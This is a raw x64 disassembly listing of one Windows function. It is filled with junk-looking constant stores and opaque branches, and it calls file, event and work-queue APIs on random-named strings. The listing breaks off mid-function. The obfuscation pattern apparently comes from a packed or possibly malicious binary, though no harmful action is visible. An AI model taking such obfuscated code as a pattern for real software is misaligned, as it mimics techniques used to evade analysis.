mov word [rsp + 0x2060], ax
mov byte [rsp + 0x925], 0x1d
movabs rax, 0x78d9c1c94a11d5
mov qword [rsp + 0x3020], rax
mov eax, 0xbc6
mov word [rsp + 0x1ea0], ax
mov dword [rsp + 0x1ac8], 0x7354
movabs rax, 0x71ab8d419a7f27
mov qword [rsp + 0x2ca8], rax
mov eax, 0x470
mov word [rsp + 0x207c], ax
mov eax, 0x2cf
mov word [rsp + 0xed8], ax
movabs rax, 0x78c2911a6b9536
mov qword [rsp + 0x760], rax
mov byte [rsp + 0x1c7], 0x5a
movabs rax, 0x76ee0c3be07d34
mov qword [rsp + 0x4bc8], rax
mov eax, 0xa32
mov word [rsp + 0x940], ax
mov eax, SHMultiFileProperties
mov word [rsp + 0xf00], ax
movabs rax, 0x7c0a0edb7fdff1
mov qword [rsp + 0x5080], rax
mov dword [rsp + 0x3418], 0x39a6e2c7
mov dword [rsp + 0x20c], 0x4235c438
mov dword [rsp + 0x2184], 0x54349b97
mov eax, 0x336
mov word [rsp + 0x4e0], ax
mov eax, 0x2a2
mov word [rsp + 0x2bc], ax
mov dword [rsp + 0x10f0], 0x55959cc1
mov eax, 0x92
mov word [rsp + 0xf14], ax
mov eax, 0x9aa
mov word [rsp + 0x220c], ax
mov dword [rsp + 0x10ec], 0x45ebc889
movabs rax, 0x71533203878048
mov qword [rsp + 0x2d68], rax
mov dword [rsp + 0x2178], 0x2ef11193
mov byte [rsp + 0x405], 0x5a
mov eax, 0xb34
mov word [rsp + 0x28c], ax
mov eax, 0x5da
mov word [rsp + 0x6e0], ax
movabs rax, 0x71910e784e7528
mov qword [rsp + 0x2258], rax
movabs rax, 0x759d0c1ef83ee1
mov qword [rsp + 0x4fe8], rax
mov byte [rsp + 0xe43], 0x16
mov dword [rsp + 0x2168], 0x1b57
mov byte [rsp + 0x233], 0x72
mov dword [rsp + 0x2800], 0x2efe6a0b
movabs rax, 0x735e63303cfb1d
mov qword [rsp + 0x3230], rax
movabs rax, 0x708382b477e2d0
mov qword [rsp + 0x3e00], rax
mov eax, 0x2b7
mov word [rsp + 0x1e00], ax
mov byte [rsp + 0x920], 0x56
mov byte [rsp + 0x3f3], 0x37
mov eax, 0x4d7
mov word [rsp + 0x31c], ax
mov byte [rsp + 0x928], 0xe6
mov byte [rsp + 0xeb], 0x3b
mov eax, 0x73d
mov word [rsp + 0x880], ax
mov eax, 0x28e
mov word [rsp + 0x268], ax
mov dword [rsp + 0x7a4], 0xe1ae
movabs rax, 0x784c0906c7a8f1
mov qword [rsp + 0x1088], rax
mov byte [rsp + 0x134], 0x1e
mov eax, 0xd7a
mov word [rsp + 0x5b0], ax
mov byte [rsp + 0x58], 0x43
movabs rax, 0x71d88275059cf3
mov qword [rsp + 0x50f8], rax
mov byte [rsp + 0x910], 0x19
movabs rax, 0x73fa651bfc341f
mov qword [rsp + 0x540], rax
mov eax, 0x27b
mov word [rsp + 0xf0], ax
mov eax, 0x37
mov word [rsp + 0x38c], ax
mov eax, 0x6da
mov word [rsp + 0x5f0], ax
mov eax, 0x34b
mov word [rsp + 0x5c], ax
mov dword [rsp + 0x198c], 0x7e66
mov eax, 0x40a
mov word [rsp + 0xc30], ax
mov eax, 0x3ac
mov word [rsp + 0x6a8], ax
mov dword [rsp + 0x2154], 0xb92d
movabs rax, 0x757ef3a1314459
mov qword [rsp + 0x51c0], rax
movabs rax, 0x70c9729f11b0f7
mov qword [rsp + 0xfe0], rax
mov eax, 0x430
mov word [rsp + 0x222c], ax
mov eax, 0x6d7
mov word [rsp + 0x1e98], ax
mov eax, 0x475
mov word [rsp + 0xc1c], ax
movabs rax, 0x743e31ecfbb04d
mov qword [rsp + 0x30f0], rax
mov byte [rsp + 0x54a], 0x73
movabs rax, 0x7c3565af3e3589
mov qword [rsp + 0x1c50], rax
movabs rax, 0x77a2a7f8677a9d
mov qword [rsp + 0x3e90], rax
mov byte [rsp + 0x2d5], 0x61
mov byte [rsp + 0x23a], 0x55
movabs rax, 0x7725b34267ddb6
mov qword [rsp + 0xf98], rax
mov eax, 0xb9b
mov word [rsp + 0xc40], ax
mov dword [rsp + 0x480], 0x4b97d2d4
mov dword [rsp + 0x2714], 0x490d95de
mov eax, 0x483
mov word [rsp + 0x20a0], ax
movabs rax, 0x768278cb024b42
mov qword [rsp + 0x2278], rax
movabs rax, 0x75f174ed633560
mov qword [rsp + 0x3290], rax
mov eax, 0x2b0
mov word [rsp + 0x150], ax
mov eax, 0x63a
mov word [rsp + 0x15b8], ax
movabs rax, 0x70f6c191c896d8
mov qword [rsp + 0x4d40], rax
mov eax, 0x863
mov word [rsp + 0x59c], ax
mov eax, 0x99c
mov word [rsp + 0x440], ax
movabs rax, 0x72c703e19db1c1
mov qword [rsp + 0x3908], rax
mov byte [rsp + 0x3ea], 0x11
mov eax, 0x4e8
mov word [rsp + 0x1588], ax
mov byte [rsp + 0x3f5], 0xb
mov byte [rsp + 0x401], 0x6b
mov eax, 0x3c0
mov word [rsp + 0x2228], ax
mov dword [rsp + 0x2694], 0x61fc87ef
mov eax, ILAppendID
mov word [rsp + 0x308], ax
mov byte [rsp + 0xe4a], 0xc
mov eax, 0x765
mov word [rsp + 0xab8], ax
mov byte [rsp + 0xddc], 0x51
movabs rax, 0x72c44b22697406
mov qword [rsp + 0x2c70], rax
mov eax, 0xbbd
mov word [rsp + 0x15b0], ax
mov dword [rsp + 0xad4], 0x2e16f663
mov byte [rsp + 0x2ce], 0x49
movabs rax, 0x7e14eaacd2577b
mov qword [rsp + 0x338], rax
mov dword [rsp + 0x3478], 0x825
movabs rax, 0x733dc1958d0f15
mov qword [rsp + 0x3920], rax
mov dword [rsp + 0x3470], 0xf182
movabs rax, 0x7eec0e1d317fb7
mov qword [rsp + 0x3788], rax
mov eax, 0x550
mov word [rsp + 0x700], ax
mov eax, 0x6b2
mov word [rsp + 0xc04], ax
mov eax, 0xe48
mov word [rsp + 0x1e20], ax
mov dword [rsp + 0x688], 0x6091
movabs rax, 0x7c6a35274f5037
mov qword [rsp + 0x2920], rax
mov eax, 0xbc2
mov word [rsp + 0x698], ax
movabs rax, 0x7d884657e29f69
mov qword [rsp + 0x2598], rax
mov dword [rsp + 0x9a8], 0x5b0150c5
mov byte [rsp + 0x581], 0xa
mov eax, 0x630
mov word [rsp + 0x1df0], ax
mov eax, 0x58
mov word [rsp + 0x224], ax
movabs rax, 0x75022e61790503
mov qword [rsp + 0x1890], rax
mov dword [rsp + 0xe0c], 0x1b88b7a1
mov dword [rsp + 0x2134], 0xa425
mov eax, 0x418
mov word [rsp + 0x6a0], ax
movabs rax, 0x76a9c255a34945
mov qword [rsp + 0x1bb0], rax
mov byte [rsp + 0xde6], 3
mov byte [rsp + 0x930], 0x4a
mov byte [rsp + 0xe4f], 0x3a
mov dword [rsp + 0x26a8], 0xaf4
movabs rax, 0x7e537d611bca5d
mov qword [rsp + 0x2f50], rax
mov byte [rsp + 0x2dd], 0x3d
mov eax, 0xd6f
mov word [rsp + 0xc3c], ax
mov byte [rsp + 0xe4c], 0x2a
mov eax, 0x776
mov word [rsp + 0x158c], ax
mov eax, 0x7a9
mov word [rsp + 0x2208], ax
movabs rax, 0x7cb37974b156db
mov qword [rsp + 0x3270], rax
mov eax, 0x8b8
mov word [rsp + 0x6d8], ax
mov eax, 0xef4
mov word [rsp + 0x1ea4], ax
mov byte [rsp + 0x80], ILCloneFirst
mov eax, 0x125
mov word [rsp + 0x12c], ax
mov byte [rsp + 0x407], 0x67
mov byte [rsp + 0xdeb], 7
mov dword [rsp + 0xb8c], 0x57cb
movabs rax, 0x77d40509987597
mov qword [rsp + 0x3210], rax
movabs rax, 0x773a3f73c87606
mov qword [rsp + 0xa80], rax
mov dword [rsp + 0x8d8], 0xa7fe
mov byte [rsp + 0x914], 0x26
movabs rax, 0x75c8c4da20ae79
mov qword [rsp + 0x32e0], rax
mov dword [rsp + 0xbb8], 0xf9f7
movabs rax, 0x7dfdc429019af2
mov qword [rsp + 0x36d0], rax
movabs rax, 0x7cdcd44ec02de9
mov qword [rsp + 0x3180], rax
mov eax, 0xc29
mov word [rsp + 0x6c], ax
movabs rax, 0x7e14d53061a11a
mov qword [rsp + 0x3710], rax
mov dword [rsp + 0x2140], 0x435b
mov eax, 0xb5
mov word [rsp + 0xebc], ax
mov eax, 0x755
mov word [rsp + 0x1e10], ax
movabs rax, 0x7addba6df344b7
mov qword [rsp + 0x2b30], rax
mov byte [rsp + 0x926], 0x28
mov eax, 0x40
mov word [rsp + 0x2084], ax
movabs rax, 0x71bc0e1ebab213
mov qword [rsp + 0x38c8], rax
movabs rax, 0x7118ed448933cd
mov qword [rsp + 0x2d18], rax
mov eax, 0x311
mov word [rsp + 0xe64], ax
mov byte [rsp + 0xde7], 0x5d
movabs rax, 0x70a5783ba738ed
mov qword [rsp + 0x2ca0], rax
mov eax, 0x9b2
mov word [rsp + 0x1e0c], ax
mov eax, 0x27b
mov word [rsp + 0xe80], ax
mov eax, 0x561
mov word [rsp + 0x114], ax
mov byte [rsp + 0x549], 0x3c
mov dword [rsp + 0x1670], 0xb16d
mov eax, 0x12d
mov word [rsp + 0x4e4], ax
mov eax, 0x500
mov word [rsp + 0x2050], ax
mov dword [rsp + 0x3420], 0x2e7a
movabs rax, 0x72109b481a2759
mov qword [rsp + 0x2ee0], rax
mov byte [rsp + 0x3ed], 0x7e
mov byte [rsp + 0x57f], 0x1e
mov byte [rsp + 0x40a], 0x35
mov eax, 0x370
mov word [rsp + 0x1e9c], ax
mov dword [rsp + 0x2710], 0xaafe
mov dword [rsp + 0xce0], 0xe543
mov byte [rsp + 0x11d], 0x42
mov dword [rsp + 0x3474], 0x1ed9242c
mov eax, 0x34b
mov word [rsp + 0x398], ax
mov dword [rsp + 0x215c], 0x4ab94c43
movabs rax, 0x76ab5e0cb943dc
mov qword [rsp + 0x1cf0], rax
movabs rax, 0x7edbc7edd0b643
mov qword [rsp + 0x1af8], rax
movabs rax, 0x7a304dd4579677
mov qword [rsp + 0x3330], rax
mov byte [rsp + 0xddf], 0x6a
mov eax, 0xab4
mov word [rsp + 0xed4], ax
movabs rax, 0x766a059e061907
mov qword [rsp + 0x14a0], rax
mov byte [rsp + 0x156], 0xf3
movabs rax, 0x7b6a55e286a60a
mov qword [rsp + 0x3eb0], rax
movabs rax, 0x7ae4deef085c1c
mov qword [rsp + 0x2868], rax
mov eax, 0x2c
mov word [rsp + 0x1624], ax
mov eax, 0x905
mov word [rsp + 0x1e34], ax
mov eax, 0xda8
mov word [rsp + 0x1a4], ax
mov eax, 0x14a
mov word [rsp + 0x4fc], ax
movabs rax, 0x70cf0189c244be
mov qword [rsp + 0x16a8], rax
mov byte [rsp + 0x139], 0xfd
movabs rax, 0x71643e5a78662c
mov qword [rsp + 0x2fe0], rax
mov dword [rsp + 0x2194], 0x31c3
mov eax, 0xcae
mov word [rsp + 0x1654], ax
mov byte [rsp + 0xe34], 0x5c
mov byte [rsp + 0xe3d], 0x36
mov eax, 0x24d
mov word [rsp + 0x21f4], ax
movabs rax, 0x7dbdc68d4969a8
mov qword [rsp + 0x4e08], rax
mov dword [rsp + 0x168c], 0x4ca4607
mov eax, 0x535
mov word [rsp + 0x21ec], ax
movabs rax, 0x7eea59ec5b61f4
mov qword [rsp + 0x3080], rax
mov byte [rsp + 0x51], 0x75
movabs rax, 0x77d3954e80b368
mov qword [rsp + 0x18a0], rax
mov byte [rsp + 0xe48], 0x22
mov eax, 0xdaa
mov word [rsp + 0x34c], ax
movabs rax, 0x7d27634e2a2c00
mov qword [rsp + 0x2888], rax
mov dword [rsp + 0x1aac], 0x5026
movabs rax, 0x787c4bd50ac1dc
mov qword [rsp + 0x39e8], rax
movabs rax, 0x77e4d466e18def
mov qword [rsp + 0x2c18], rax
movabs rax, 0x7cf39484755753
mov qword [rsp + 0x2400], rax
movabs rax, 0x79a154f0fa8db1
mov qword [rsp + 0x838], rax
mov byte [rsp + 0x10d], 0x38
mov eax, 0x210
mov word [rsp + 0x4cc], ax
mov dword [rsp + 0x2188], 0xc4d2
movabs rax, 0x726f22ed637fa2
mov qword [rsp + 0x2fb8], rax
movabs rax, 0x757c687a6d10bf
mov qword [rsp + 0x4ac8], rax
mov eax, 0x5a3
mov word [rsp + 0x874], ax
movabs rax, 0x7c01cc651e57b1
mov qword [rsp + 0x2890], rax
mov eax, 0x33f
mov word [rsp + 0x438], ax
mov dword [rsp + 0x3448], 0x2b76db91
mov dword [rsp + 0x798], 0x9f4
mov eax, 0xa27
mov word [rsp + 0x374], ax
mov dword [rsp + 0x27c4], 0x20f33879
mov eax, 0x246
mov word [rsp + 0x4b0], ax
movabs rax, 0x7cb24dffdf1cf4
mov qword [rsp + 0x29a8], rax
mov dword [rsp + 0x10f4], 0x88af
mov dword [rsp + 0x270c], 0x6882
mov eax, 0x344
mov word [rsp + 0x728], ax
mov dword [rsp + 0x2108], 0x558e
mov byte [rsp + 0x50], 0x30
movsx eax, word [rsp + 0x54]
add eax, 0xa5
mov word [rsp + 0x54], ax
movabs rax, 0x761a1e9b9be63d
mov qword [0x1400fd128], rax
movsx eax, word [rsp + 0x54]
cmp eax, 8
jne 0x14000debe
lea rcx, [rsp + 0x5e80]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x278c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x20], al
movzx r9d, word [rsp + 0x54]
movzx r8d, byte [rsp + 0x50]
mov dx, 0x4e
movzx ecx, word [rsp + 0x54]
call fcn.140053dc0
mov dword [rsp + 0x20a8], 0xdb3f
movsx eax, byte [rsp + 0x50]
cmp eax, 0x66
jge 0x140052f62
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.U5K1NO3fXjXJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x808], rax
movsx eax, byte [rsp + 0x50]
and eax, 0xd
cmp eax, 0x7c
jge 0x140052f4e
mov dword [rsp + 0x94], 0x23560215
mov eax, dword [rsp + 0x94]
cdq
mov ecx, 0x2498217c
idiv ecx
mov dword [rsp + 0xb4], eax
movsx eax, word [rsp + 0x54]
mov dword [rsp + 0x27a0], eax
cmp dword [rsp + 0x27a0], 0x1e3
je 0x140052ecc
cmp dword [rsp + 0x27a0], 0x826
je 0x14000df74
jmp 0x140052f2b
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x7e8], rax
mov rax, qword [0x1400fd128]
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.VLsE30Hr2EQYd_fCmoYa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xba8], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x100], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x610], rax
movzx eax, byte [rsp + 0x51]
or eax, 0x7e
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x59], al
cmp dword [rsp + 0x20a8], 0xf5c1
ja 0x14000e3cf
movzx eax, byte [rsp + 0x51]
xor eax, 3
mov byte [rsp + 0x59], al
movsx eax, byte [rsp + 0x50]
sub eax, 0x12
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
movabs rax, 0x7978eaa2cf8bbb
mov rcx, qword [rsp + 0x120]
add rcx, rax
mov rax, rcx
mov qword [0x1400fd128], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x70c1
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
and eax, 0x5f4
mov word [rsp + 0x54], ax
mov dword [rsp + 0xa0], 0xf28c
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
sar eax, 2
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x94]
sub eax, 0x6504776a
mov dword [rsp + 0xb4], eax
movabs rax, 0x738333941ffdc4
mov rcx, qword [0x1400fd128]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x100]
movzx eax, byte [rax]
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
shl eax, 0xa
mov word [rsp + 0x54], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7b67
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
or eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
movabs rax, 0x76f5bc54efbefb
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [0x1400fd128], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
mov rax, qword [0x1400fd128]
sar rax, 4
mov qword [rsp + 0x120], rax
movsx eax, byte [rsp + 0x50]
add eax, 0x13
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x812b
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov eax, dword [rsp + 0xa0]
sub eax, 0x5e23
mov dword [rsp + 0xa0], eax
movabs rax, 0x74ddffad6521a1
mov rcx, qword [0x1400fd128]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x20a8]
add eax, 0x57
mov dword [rsp + 0x20a8], eax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
sub eax, 0x646
mov word [rsp + 0x54], ax
movabs rax, 0x714d5c7158f6b9
mov rcx, qword [0x1400fd128]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x120], rax
mov eax, dword [rsp + 0xa0]
and eax, 0x160f
mov dword [rsp + 0xa0], eax
movabs rax, 0x79b9f46be5a991
mov rcx, qword [rsp + 0x120]
or rcx, rax
mov rax, rcx
mov qword [0x1400fd128], rax
mov eax, dword [rsp + 0xa0]
xor eax, 0xcd00
mov dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
shl eax, 1
mov byte [rsp + 0x50], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xcc9b
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
movabs rax, 0x78651d7f8e8bba
mov rcx, qword [0x1400fd128]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
and eax, 0x3bf
mov word [rsp + 0x54], ax
mov eax, dword [rsp + 0xb4]
sub eax, 0x27b81340
mov dword [rsp + 0x94], eax
movsx eax, byte [rsp + 0x50]
add eax, 0xa
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
movabs rax, 0x7c80c17e493189
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [0x1400fd128], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x50], al
jmp 0x14000e01e
movabs rax, 0x77e57b1310cb22
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xd8], rax
movzx eax, byte [rsp + 0x51]
imul eax, eax, 0xc4
movzx ecx, byte [rsp + 0x59]
cmp eax, ecx
jne 0x14000e421
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
shl eax, 5
mov byte [rsp + 0x50], al
call fcn.1400544e0
jmp 0x14000e64b
mov eax, dword [rsp + 0xb4]
add eax, 0x64e32e48
cmp eax, dword [rsp + 0x94]
jne 0x14000e492
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
xor eax, 0x83
mov word [rsp + 0x54], ax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xa0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
sar eax, 0xb
mov word [rsp + 0x54], ax
mov ecx, 0x9d
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov dword [rsp + 0x1a4c], eax
jmp 0x14000e64b
mov eax, dword [rsp + 0xa0]
sub eax, 0xbe4d
mov rcx, qword [rsp + 0xd8]
cmp eax, dword [rcx]
jne 0x14000e4d2
mov rax, qword [rsp + 0x100]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x100]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0xb4]
call fcn.1400547d0
jmp 0x14000e64b
movabs rax, 0x78e584784135ad
mov rcx, qword [rsp + 0x120]
imul rcx, rax
mov rax, rcx
cmp rax, qword [0x1400fd128]
jle 0x14000e64b
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x54]
cdq
idiv ecx
mov word [rsp + 0x64], ax
mov eax, dword [rsp + 0xb4]
sub eax, 0x5b3d8d4a
cmp eax, dword [rsp + 0x94]
jle 0x14000e5a9
movabs rax, 0x78658be09758b1
mov rcx, qword [rsp + 0x120]
add rcx, rax
mov rax, rcx
mov qword [0x1400fd128], rax
movsx eax, byte [rsp + 0x50]
sub eax, 0x75
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a8]
shr rax, 0xf
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x190]
movzx r9d, word [rax]
mov r8d, dword [rsp + 0xa0]
mov rax, qword [rsp + 0xd8]
mov edx, dword [rax]
movzx ecx, word [rsp + 0x54]
call fcn.140053240
jmp 0x14000e64b
movsx eax, word [rsp + 0x54]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x64]
cmp eax, ecx
je 0x14000e613
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov dword [rsp + 0xb8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.2RiyKPqhfTpEixJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa08], rax
jmp 0x14000e64b
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
and eax, 0xd8ba
cmp eax, dword [rsp + 0xa0]
jne 0x14000e64b
xor r8d, r8d
mov rdx, qword [rsp + 0x3398]
mov rcx, qword [rsp + 0x2318]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x1100], eax
movzx eax, word [rsp + 0x5c]
cdq
mov ecx, 0xfde
idiv ecx
mov word [rsp + 0x5c], ax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x200], rax
movabs rax, 0x703d3b04a02ad7
cmp qword [rsp + 0x1a8], rax
jbe 0x14000e727
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0x3538], al
cmp byte [rsp + 0x3538], 0x7c
je 0x14000e69d
jmp 0x14000e6ea
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0xa4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x7b8], rax
mov dword [rsp + 0x20bc], 0x4b36
lea rax, [rsp + 0x51]
mov qword [rsp + 0x2f0], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x180], rax
jmp 0x14000e722
movsx eax, byte [rsp + 0x50]
and eax, 0x24
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [rsp + 0xd8]
mov r9d, dword [rax]
movzx r8d, byte [rsp + 0x51]
mov rax, qword [rsp + 0x2f0]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x5c]
call fcn.140053e50
jmp 0x14000e85c
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0x64]
xor eax, ecx
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
cmp eax, ecx
jg 0x14000e7db
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
add eax, 8
mov byte [rsp + 0x50], al
movabs rax, 0x77071b2c34fabc
mov rcx, qword [rsp + 0x1a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a8], rax
mov eax, dword [rsp + 0xa4]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0xa4]
mov r8d, dword [rsp + 0x94]
mov edx, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0xa4]
call fcn.140054380
mov eax, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x4378], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4378]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
jmp 0x14000e85c
movsx eax, word [rsp + 0x64]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
or eax, ecx
movsx ecx, word [rsp + 0x54]
cmp eax, ecx
jne 0x14000e84c
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x54], ax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1a4c]
lea r8, [rsp + 0x190]
lea rdx, [rsp + 0xb8]
mov rcx, qword [rsp + 0x3630]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov dword [rsp + 0x33a0], eax
jmp 0x14000e85c
mov rax, qword [rsp + 0x180]
movzx ecx, word [rax]
call fcn.140054310
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.WcNyBqgI1LPSBFeyweGfik
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb78], rax
movabs rax, 0x76d5ba44a7b314
cmp qword [rsp + 0x1a8], rax
jb 0x14000e9b5
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x3d48], rax
movabs rax, 0x77e57b1310cb22
cmp qword [rsp + 0x3d48], rax
je 0x14000e94b
movabs rax, 0x7c9278a541c6a9
cmp qword [rsp + 0x3d48], rax
je 0x14000e8fd
jmp 0x14000e9b0
movzx eax, word [rsp + 0x5c]
sub eax, 0x1af
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x120]
sar rax, cl
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
shl eax, cl
mov rcx, qword [rsp + 0x2f0]
mov byte [rcx], al
jmp 0x14000e9b0
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2966
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [str._aMl], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb58], rax
jmp 0x14000ead9
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
cdq
idiv ecx
movzx ecx, byte [rsp + 0x59]
cmp eax, ecx
jl 0x14000ea32
movzx ecx, word [rsp + 0x64]
call fcn.140054310
mov r8d, 0x38
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
mov dword [rsp + 0x1100], eax
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0x64]
xor eax, ecx
mov rcx, qword [rsp + 0x190]
mov word [rcx], ax
